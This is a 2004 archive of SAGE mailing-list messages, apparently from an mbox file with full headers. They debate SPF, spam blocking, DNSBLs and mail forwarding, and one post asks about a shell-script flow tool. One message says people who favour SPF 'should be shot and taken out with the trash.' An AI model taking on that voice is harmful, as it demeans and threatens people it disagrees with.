SPF implementation and am leaning towards _not_ at this time thanks to this discussion. Or, maybe it will be a split implementation on an opt-in basis for certain customer classes. So many options.. so much spam.. Doug From sage-members-owner@usenix.org Sat Jan 31 12:03:28 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VK3ScH001012 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 12:03:28 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0VK3SM8001011 for sage-members-outgoing; Sat, 31 Jan 2004 12:03:28 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VK3PcH001005 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jan 2004 12:03:26 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0VK3Bxe024697; Sat, 31 Jan 2004 15:03:13 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: References: Date: Sat, 31 Jan 2004 21:01:02 +0100 To: Doug Hughes From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 12:24 PM -0600 2004/01/31, Doug Hughes wrote: > It's also likely his customers will also thank him for > it, and business realities are what they are. No, they won't. They won't thank him for anything. They will berate him for letting too much spam through (no matter what he does), and then they will give him a thermonuclear wedgie when a single mail message from their grandmother is blocked because of his efforts. If he chooses to implement questionable methods in his overzealousness, that's fine. But don't come crying to me when it breaks, and don't expect anyone else on the 'net to care or to provide any assistance. > I've been wrestling > with the idea of SPF implementation and am leaning towards _not_ at this > time thanks to this discussion. Or, maybe it will be a split > implementation on an opt-in basis for certain customer classes. So > many options.. so much spam.. The problem is that SPF doesn't help reduce spam. This kind of thing could only possibly help if everyone in the world implemented it, and did so perfectly. Even then, all it can possibly do is prevent someone from sending mail claiming to be from another domain that they do not actually own/operate. Even if it was working perfectly at all sites everywhere in the world, anyone could pretend to be someone else from the same domain -- all hotmail users could spoof e-mail as coming from anyone else at hotmail. Moreover, it doesn't stop virus/worm/Trojan Horse sourced spam, because all that mail would be legitimately passing through the authorized mail servers on behalf of the owner of the machine. All it takes is for a single spammer to own his own domain and to be able to publish his own SPF records that allow anyone in the world to generate e-mail from that domain. Because all IP addresses in the world will be allowed to generate e-mail from evilspammer.com, it will pass the SPF whitelist test and be allowed through. On the blacklist side, you have all the collateral damage that has been mentioned to date. Moreover, with DNS cache poisoning attacks being virtually trivial to implement, it would be very easy to get someone to blacklist/DOS themselves out of existance, or whitelist all known spammers. We already have spammers doing dictionary-based password attacks on SMTPAUTH-enabled mail servers. So all those old problems of bad passwords are going to come back and haunt you all over again. However, this time, because the message was "authenticated", when you are dragged into court and brought up on criminal charges, you won't be able to make the claim that it wasn't you who sent the message, because surely no one else could ever possibly have guessed your password. No one will believe you when you tell them that you weren't at your computer and that you didn't write those messages that you claim your machine didn't send. Password-guessing games are harder to implement than DNS cache poisoning. This is a really, really bad idea which causes far more damage than it could ever possibly resolve. People who are this stupid should be shot and taken out with the trash. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sat Jan 31 12:33:43 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VKXgcH001704 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 12:33:42 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0VKXgDl001703 for sage-members-outgoing; Sat, 31 Jan 2004 12:33:42 -0800 (PST) Received: from gris.jeol.com (gris.jeol.com [192.160.103.77]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VKXecH001697 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jan 2004 12:33:41 -0800 (PST) Received: from bosch.jeol.com (bosch.jeol.com [192.160.103.90]) by gris.jeol.com (8.12.6p3/8.12.6) with ESMTP id i0VKXdYS087977 for ; Sat, 31 Jan 2004 15:33:39 -0500 (EST) (envelope-from lambert@jeol.com) Date: Sat, 31 Jan 2004 15:33:40 -0500 (EST) From: Mike Lambert To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: Message-ID: References: <20955.1075503620@mental.com> <20040131002931.GQ79295@bitshift.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, 31 Jan 2004, Brad Knowles wrote: > At 10:16 AM -0500 2004/01/31, Mike Lambert wrote: > > > Until a better email system is > > implemented, I will use whatever tools are available, SPF included, to > > 5xx reject at the smtp gateway as much junk email as possible. > > If you want to cut yourself off from the entire Internet, you > should feel free to do so. However, I certainly won't have any > sleepless nights over blacklisting you for inappropriate behaviour on > the part of your systems. Irrational responses such as this are unfortunately all too common when the topic of email blocking arises. Must be my charming personality. Brad's frothing-at-the-mouth rantings aside, I am willing to have a civil discussion with anyone interested. In my observation there appear to be two passionately felt but opposing view points with regard to email and the delivery thereof: 1. No valid email message shall be rejected/bounced for any reason. Period. Filters are to be used for sorting purposes only. 2. Junk email is no different than any other form of network abuse. All sources of junk email should be blocked (via router ACLs, MTA access db, DNSBLs, whatever) to prevent further abuse and/or theft of services and bandwidth. This can in the more extreme case include the blocking of email from entire IP ranges, ISPs, and geographic regions. I assume that ideally we all want to deliver good email and stop bad email. How we go about doing that falls somewhere within the above extremes, balancing various priorities, business or otherwise, with acceptable compromises. Ultimately, there is no perfect solution. Email as we knew it is dead. Mike Lambert From sage-members-owner@usenix.org Sat Jan 31 16:38:49 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i110cncH005231 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 16:38:49 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i110cnmc005230 for sage-members-outgoing; Sat, 31 Jan 2004 16:38:49 -0800 (PST) Received: from mail.iinet.net.au (mail-07.iinet.net.au [203.59.3.39]) by usenix.org (8.12.10/8.12.10) with SMTP id i110cjcG005224 for ; Sat, 31 Jan 2004 16:38:46 -0800 (PST) Received: (qmail 19452 invoked from network); 1 Feb 2004 00:38:42 -0000 Received: from unknown (HELO station01) (203.59.187.219) by mail.iinet.net.au with SMTP; 1 Feb 2004 00:38:41 -0000 From: shades2@iinet.net.au To: Mike Lambert Date: Sun, 01 Feb 2004 08:38:53 +0800 MIME-Version: 1.0 Subject: Re: [SAGE] The sad and spammy state of virus filters CC: sage-members@usenix.org Message-ID: <401CBB1D.4920.1735130A@localhost> In-reply-to: References: X-mailer: Pegasus Mail for Windows (v4.12a) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Sender: owner-sage-members@usenix.org Precedence: bulk On 31 Jan 2004 at 15:33, Mike Lambert wrote: > In my observation there appear to be two passionately felt but opposing > view points with regard to email and the delivery thereof: > > 1. No valid email message shall be rejected/bounced for any reason. > Period. Filters are to be used for sorting purposes only. > > 2. Junk email is no different than any other form of network abuse. All > sources of junk email should be blocked (via router ACLs, MTA access db, > DNSBLs, whatever) to prevent further abuse and/or theft of services and > bandwidth. This can in the more extreme case include the blocking of > email from entire IP ranges, ISPs, and geographic regions. > > I assume that ideally we all want to deliver good email and stop bad > email. How we go about doing that falls somewhere within the above > extremes, balancing various priorities, business or otherwise, with > acceptable compromises. Ultimately, there is no perfect solution. > Email as we knew it is dead. > > Mike Lambert I really dislike the idea of blocking using router ACLs. The DNSBLs are a much more reasonable approach. With a properly setup package such as Popfile or SpamAssassin you can achieve quite a bit, it's not going to prevent spam traversing the net (It should really be up to the Root Nameservers to trash domains that are pure spam). I think the odd user is going to have to live with losing 1 out of 1000 messages or handle their own tagged spam. Unless the spammers can be stopped in some other way which seems unlikely, it will continue. I do dislike the idea of _paying_ for email. This appears to be MS latest approach to the problem. You would not believe the amount of spam we receive overseas from U.S. companies selling their latest wares, which is even more pointless as we are not even potential customers in most cases. This really illustrates the stupidity of most spammers. Australia has passed laws to outlaw spamming, although this only applies to spam originating here... What would be nice is a way to massively SLOW down SMTP connections from a host if it's suspected that they are spamming. If most major sites did this there would be far less pain. Another nice idea would be a honeypot that lets spammers connect and spam millions of fake email addresses that all log then .forward to /dev/null. (With the associated slow SMTP connections to make their life difficult) Mike. From sage-members-owner@usenix.org Sun Feb 1 09:22:25 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11HMOcH002500 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 09:22:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11HMOc8002499 for sage-members-outgoing; Sun, 1 Feb 2004 09:22:24 -0800 (PST) Received: from timix.globnix.org (exim@timix.fusix.nl [195.64.83.12]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11HMLcG002494 for ; Sun, 1 Feb 2004 09:22:22 -0800 (PST) Received: by timix.globnix.org with local id 1AnLIY-0005vC-00; Sun, 01 Feb 2004 17:22:18 +0000 Date: Sun, 1 Feb 2004 17:22:18 +0000 From: Phil Pennock To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040201172218.GA32727@globnix.org> Mail-Followup-To: sage-members@usenix.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Sender: owner-sage-members@usenix.org Precedence: bulk On 2004-01-31 at 21:01 +0100, Brad Knowles wrote: > The problem is that SPF doesn't help reduce spam. This kind of > thing could only possibly help if everyone in the world implemented > it, and did so perfectly. Even then, all it can possibly do is > prevent someone from sending mail claiming to be from another domain > that they do not actually own/operate. > > Even if it was working perfectly at all sites everywhere in the > world, anyone could pretend to be someone else from the same domain > -- all hotmail users could spoof e-mail as coming from anyone else at > hotmail. Moreover, it doesn't stop virus/worm/Trojan Horse sourced > spam, because all that mail would be legitimately passing through the > authorized mail servers on behalf of the owner of the machine. I don't think that's the point. There are many things I dislike about SPF, and some things where I can see what it can, usefully, do. The things which I dislike have already been hashed out here. Stop for a moment, and stop thinking of SPF as an anti-spam measure; instead, think of it as a fallout limitation measure. Whenever a customer of ours (I work at an ISP) has an open relay (these days, mostly a virus trojan or SMTP AUTH abuse), much of the resulting garbage is likely to go through our smarthosts. A lot of the spam has a sender address @aol.com. By the time that the customer's cut off (either from the smarthosts or their network access) there can be quite a bit built up. I have some tools to help nuke the stuff from the spools, whilst trying to leave legitimate mail alone. (Ultimately, if you send 40,000 mails out and then complain because one legitimate message was removed in the clean-up, you won't get much sympathy but will get a lesson in why it's good to not run complex software like MS Exchange without maintaining it; nonetheless, I do try to leave legit mail alone). What happens to all the undeliverable spam? We try to send bounces to AOL. If SPF is viewed strictly as a way to try to limit the amount of spam bounces which you're likely to get, then what it buys is that someone who honours it in their mail-system is less likely to have problems delivering regular mail to aol.com, so is going to have fewer user complaints reaching the helpdesk and costing money. As regards "but then I can't use the domain from XYZ", doesn't this lead into questions of who "owns" a domain, insofar as who is responsible for it and gets to set policy? If AOL state that mail from aol.com can only come from their systems, then to an extent that's their right and their business. Yes, it'll break some things. And if it causes problems, AOL will lose customers. I'm not the biggest fan of market pressure dictating things, but here is where it will have some effect. ISPs who do let customers have some freedom won't publish SPF records. I have some domains which I'm not using for sending mail. They have SPF records to say that noone else should be sending mail with those domains in the sender address. That much I'm comfortable doing -- that way, anyone who does think SPF is protection will at least get that much protection. It was ten minutes work and, in a sense, good housekeeping and neighbourliness. But implementing SPF in our mail-systems? I'm not willing to do this generally. I _might_ be willing to enable it for a manually configured list of domains which we see heavily abused; if customers complain about that, then we point to AOL and suggest that they get a different free email account. But not at this time -- we have bigger fish to fry. I say that spammers don't have the right to send spam to my systems because it's abusing my resources. Well, don't AOL have the right to block mail reaching their systems if it's abusing their resources? They must get tens of millions of spam bounce delivery attempts per day, at least. :^( Letting some mail administrators diminish the amount from their systems so that their legitimate mail will get through ... *shrugs* Ultimately, I think that SMTP is dying. Various people have ideas for what will replace it. *wet finger and stick in air:* SMTP will still be here in ten years time, but it will likely be a secondary system used for backwards compatibility and facing more and more stigma, as more ISPs start providing an alternative _in_addition_to_ SMTP. Measures which keep email usable in the meantime should be looked at to see what exactly they will accomplish, for _whom_, whether those people have the right to have that effect upon email and the knock-on consequences. -- "Science is the belief in the ignorance of experts." -- Richard P. Feynman From sage-members-owner@usenix.org Sun Feb 1 10:55:05 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11It4cH003983 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 10:55:04 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11It4TL003982 for sage-members-outgoing; Sun, 1 Feb 2004 10:55:04 -0800 (PST) Received: from mx.starshine.org (postfix@antares.starshine.org [216.240.40.177]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11It2cG003976 for ; Sun, 1 Feb 2004 10:55:02 -0800 (PST) Received: from mercury.starshine.org (mercury.starshine.org [216.240.40.182]) by mx.starshine.org (Postfix) with ESMTP id 21C66395C; Sun, 1 Feb 2004 11:12:55 -0800 (PST) Received: from jimd by mercury.starshine.org with local (Exim 3.36 #1 (Debian)) id 1AnMip-00054n-00; Sun, 01 Feb 2004 10:53:31 -0800 Date: Sun, 1 Feb 2004 10:53:31 -0800 To: Phil Pennock Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040201185331.GB19420@mercury.starshine.org> References: <20040201172218.GA32727@globnix.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040201172218.GA32727@globnix.org> User-Agent: Mutt/1.5.4i From: jimd@starshine.org Sender: owner-sage-members@usenix.org Precedence: bulk On Sun, Feb 01, 2004 at 05:22:18PM +0000, Phil Pennock wrote: > On 2004-01-31 at 21:01 +0100, Brad Knowles wrote: >> The problem is that SPF doesn't help reduce spam. This kind of >> thing could only possibly help if everyone in the world implemented >> it, and did so perfectly. Even then, all it can possibly do is >> prevent someone from sending mail claiming to be from another domain >> that they do not actually own/operate. >> Even if it was working perfectly at all sites everywhere in the >> world, anyone could pretend to be someone else from the same domain >> -- all hotmail users could spoof e-mail as coming from anyone else at >> hotmail. Moreover, it doesn't stop virus/worm/Trojan Horse sourced >> spam, because all that mail would be legitimately passing through the >> authorized mail servers on behalf of the owner of the machine. > I don't think that's the point. > There are many things I dislike about SPF, and some things where I can > see what it can, usefully, do. The things which I dislike have already > been hashed out here. > Stop for a moment, and stop thinking of SPF as an anti-spam measure; > instead, think of it as a fallout limitation measure. Yes. SPF is purely a mechanism to mitigate for open relays and *some* trojaned spam zombies. It doesn't prevent spoofing, just narrows the list of hosts that can be relays for *some* spoofing. SPF is somewhat like the "double reverse lookup" found in TCP Wrappers. It requires the attacker to control or compromize reverse and forward zones (when using names) or to compromise routing to get bi-direction communications for spoofed IP addresses. (Or they may have to craft blind attacks). Ultimately I think we'll need ubuitous digital signature usage with a hybrid of "signed introductions" and "paid/vetted introductions." (In other words everything is a whitelist and the two ways to get on the whitelist are: someone on my whitelist generates a signed introduction for you or you pay a service to generate an introduction. The service takes there cut then pays the rest to me (possibly just holding in my account so I can use it to pay for other intros). This approach should eliminate most spam while not adversely affecting economics of "regular" e-mail among known correspondents, including on mailing lists. (You might pay a nominal one-time fee for each new mailing list you joined --- perhaps as much as a buck, unless someone else on the list sponsored you by signing an intro/subscribe message). -- Jim Dennis From sage-members-owner@usenix.org Sun Feb 1 12:18:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11KIEcH005316 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 12:18:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11KIEpX005315 for sage-members-outgoing; Sun, 1 Feb 2004 12:18:14 -0800 (PST) Received: from mailgate2.zdv.Uni-Mainz.DE (mailgate2.zdv.Uni-Mainz.DE [134.93.178.130]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11KICcG005309 for ; Sun, 1 Feb 2004 12:18:13 -0800 (PST) Received: from www2.uni-mainz.de (www2.zdv.Uni-Mainz.DE [134.93.176.66]) by mailgate2.zdv.Uni-Mainz.DE (Postfix) with ESMTP id 744C8300114A for ; Sun, 1 Feb 2004 21:18:02 +0100 (CET) Received: by www2.uni-mainz.de (Postfix, from userid 15) id 51B984C3; Sun, 1 Feb 2004 21:18:02 +0100 (MET) Received: from dialin-145-254-222-163.arcor-ip.net ( [dialin-145-254-222-163.arcor-ip.net]) as user neuffer@imap.uni-mainz.de by mail.uni-mainz.de with HTTP; Sun, 1 Feb 2004 21:18:02 +0100 Message-ID: <1075666682.401d5efa321b1@mail.uni-mainz.de> Date: Sun, 1 Feb 2004 21:18:02 +0100 From: neuffer@uni-mainz.de To: sage-members@sage.org Subject: [SAGE] equivalent to cflow for shell scripts ? MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.1 X-Originating-IP: 145.254.222.163 X-Virus-Scanned: by amavisd-new at uni-mainz.de Sender: owner-sage-members@usenix.org Precedence: bulk Hi all Does anyone know of an equivalent to cflow for shell scripts ? Somewhere in the back of my mind I believe to remember once having seen such a tool, but I can't remember any details. Currently this tool would come in very handy, since I've just taken over a production system consisting of several servers that have obviously not been properly maintained for the last few years. The system consists of a main application and database and many interfaces to other systems and is held together by literally hundereds of scripts that have grown organically over the last years, written by people with wildly different styles and skill levels. The whole thing is a maintenance nightmare and of course no proper documention exists.... Now I've been tasked to document this whole mess as fast as prossible (at least so that we have an idea of the interdependencies) and then we'll start to clean up the system redesign and rewrite most of the infrastructore. So after this story, does anybody have an few hints for me where to find this tool can at least tell that my memory must be wrong ? Thanks in advance. Mike From sage-members-owner@usenix.org Sun Feb 1 13:03:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11L2xcH006220 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 13:02:59 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11L2xHS006219 for sage-members-outgoing; Sun, 1 Feb 2004 13:02:59 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11L2ucH006209 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 13:02:57 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i11L2lxe005713; Sun, 1 Feb 2004 16:02:49 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <401CBB1D.4920.1735130A@localhost> References: <401CBB1D.4920.1735130A@localhost> Date: Sun, 1 Feb 2004 21:44:15 +0100 To: shades2@iinet.net.au From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: Mike Lambert , sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 8:38 AM +0800 2004/02/01, shades2@iinet.net.au wrote: > Another nice idea would be a honeypot that lets spammers connect > and spam millions of fake email addresses that all log then > .forward to /dev/null. (With the associated slow SMTP connections > to make their life difficult) Naw, if you're going to go to the lengths to collect the data, you should at least forward that information to the Vipul's Razor and DCC projects, so that others of us won't have to accept the same spam. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sun Feb 1 13:03:05 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11L34cH006235 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 13:03:04 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11L34Xv006234 for sage-members-outgoing; Sun, 1 Feb 2004 13:03:04 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11L2ucH006210 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 13:02:57 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i11L2lxg005713; Sun, 1 Feb 2004 16:02:53 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040201172218.GA32727@globnix.org> References: <20040201172218.GA32727@globnix.org> Date: Sun, 1 Feb 2004 22:00:43 +0100 To: Phil Pennock From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 5:22 PM +0000 2004/02/01, Phil Pennock wrote: > If SPF is viewed strictly as a way to try to limit the amount of spam > bounces which you're likely to get, I'm sorry, you can't look at this in isolation. You have to consider all the possible ramifications. > As regards "but then I can't use the domain from XYZ", doesn't this lead > into questions of who "owns" a domain, insofar as who is responsible for > it and gets to set policy? If AOL state that mail from aol.com can only > come from their systems, then to an extent that's their right and their > business. Yes, it'll break some things. And if it causes problems, AOL > will lose customers. I'm not the biggest fan of market pressure > dictating things, but here is where it will have some effect. ISPs who > do let customers have some freedom won't publish SPF records. The problem is that the users who are hurt are not the ones who are sending mail from that domain (not directly, anyway), but the users who would be .forwarding that mail to another address, or who have subscribed to an /etc/aliases-based mailing list. AOL is a bad example, because they have a custom client, and then can insist that everyone use it, or other proprietary interfaces that they provide. Let's take the general case instead. Alice wants to send mail to Bob. Bob has his e-mail forwarded to Carol. If Alice's ISP implements SPF records in the DNS, and Carol's ISP listens to SPF records and refuses to accept e-mail from Alice's ISP from any IP address that is not listed, then Bob is the one who gets hurt. Well, Alice and Carol also get hurt, but at least they can solve the problem by changing ISPs -- there is nothing that Bob can do about this issue. Now, substitute /etc/aliases-based mailing lists for Bob, or legitimate third-party relay activity for Alice. Are you honestly going to say that no one should be allowed to send e-mail if their client doesn't support SMTPAUTH? No one should be allowed to send e-mail if their ISP doesn't support SMTPAUTH? What if they're using an access provider somewhere (perhaps through iPass, GRiC, or maybe just an ISP somewhere that provides access only and no services), and they have no choice? Or, what if that access provider transparent proxies or blocks the appropriate ports? There will very shortly be *way* more smart phones that are used to access Internet e-mail than there are PCs or classic "hosts", and the development environment on those devices is very limited. You may have only one e-mail client available to you, even if the phone could theoretically support alternatives (some providers lock their phones so that you can't install any third-party software). > I say that spammers don't have the right to send spam to my systems > because it's abusing my resources. Well, don't AOL have the right to > block mail reaching their systems if it's abusing their resources? But it's not an issue of mail that is reaching their systems, nor abusing their resources. > They > must get tens of millions of spam bounce delivery attempts per day, at > least. :^( Letting some mail administrators diminish the amount from > their systems so that their legitimate mail will get through ... > *shrugs* I worked at AOL. I helped build the initial bounce-handling system. I know what the problem looks like, and I know that patterns very quickly leap right out at you. > Measures > which keep email usable in the meantime should be looked at to see what > exactly they will accomplish, for _whom_, whether those people have the > right to have that effect upon email and the knock-on consequences. Agreed. And the knock-on consequences of SPF (and all similar technologies) is too high, especially when combined with other recent standard practices. Too many users will get hurt, especially those who are in the middle and have no avenue to "fix" the problems, because it's not their mail system that is at fault. Paul is right. The problem has now become the anti-spammers. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sun Feb 1 13:48:54 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11LmscH007405 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 13:48:54 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11Lmss3007404 for sage-members-outgoing; Sun, 1 Feb 2004 13:48:54 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11LmqcG007399 for ; Sun, 1 Feb 2004 13:48:52 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i11LmkiL000389 for ; Sun, 1 Feb 2004 13:48:46 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 8C08722887; Sun, 1 Feb 2004 13:48:46 -0800 (PST) Date: Sun, 1 Feb 2004 13:48:46 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040201214846.GY79295@bitshift.org> References: <401CBB1D.4920.1735130A@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Uptime: 1:43PM up 229 days, 16:53, 13 users, load averages: 0.02, 0.01, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Sun, Feb 01, 2004 at 09:44:15PM +0100, Brad Knowles wrote: > At 8:38 AM +0800 2004/02/01, shades2@iinet.net.au wrote: > > > Another nice idea would be a honeypot that lets spammers connect > > and spam millions of fake email addresses that all log then > > .forward to /dev/null. (With the associated slow SMTP connections > > to make their life difficult) > > Naw, if you're going to go to the lengths to collect the data, > you should at least forward that information to the Vipul's Razor and > DCC projects, so that others of us won't have to accept the same spam. > Of course, this could quickly cascade into "parade of alternative ideas to SPF, since everybody has one." (I myself wrote up a pseudo-proposal early last year for a system that uses existing SMTP to build and track reputation for MXes. I've since seen several similar ideas floated. I don't have working code yet, but given the way things are going, it would seem that the next Big Thing(TM) isn't going to come out of a standards body, but from whoever is first-to-market and wins the adoption war. So perhaps I'll just write it, release it, and agitate for its use. Then everyone can hate me along with AOL.) -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Sun Feb 1 14:50:39 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11MobcH008754 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 1 Feb 2004 14:50:37 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i11MobhM008753 for sage-members-outgoing; Sun, 1 Feb 2004 14:50:37 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i11MoZcH008748 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 1 Feb 2004 14:50:36 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i11MoIxe010436; Sun, 1 Feb 2004 17:50:24 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: 